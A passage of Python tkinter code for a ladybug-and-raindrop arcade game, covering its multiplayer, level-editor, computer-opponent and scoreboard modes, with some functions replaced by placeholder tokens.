data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\ndef hitAI2(data, distance):\n for coconut in data.coconutsAI2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= data.\n player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <= data.\n player2X + data.r):\n data.player2Y += 50\n data.coconutsAI2.remove(coconut)\n\n\ndef coconutShotAI(data):\n if data.winner == None:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 40 and abs(xPosition1 - 360) > 40:\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 8 == 0:\n xPosition2 = random.randint(0, 80)\n xPosition3 = random.randint(364, 385)\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition2, 0))\n data.coconutsAI1.append(Coconuts(xPosition3, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition2 + 410, 0))\n data.coconutsAI2.append(Coconuts(xPosition3 + 410, 0))\n addExtraCoconut(data)\n addPowerUpsAI(data)\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n\n\ndef hit2Player(data):\n if data.mode == '2Player':\n if data.Invincible1 == False:\n for coconut in data.coconuts1:\n if (coconut.y >= data.player1Y - data.r and coconut.y <= \n data.player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <=\n data.player1X + data.r):\n data.player1Y += data.hitPenalty\n data.coconuts1.remove(coconut)\n if data.Invincible2 == False:\n for coconut in data.coconuts2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= \n data.player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <=\n data.player2X + data.r):\n data.player2Y += data.hitPenalty\n data.coconuts2.remove(coconut)\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= 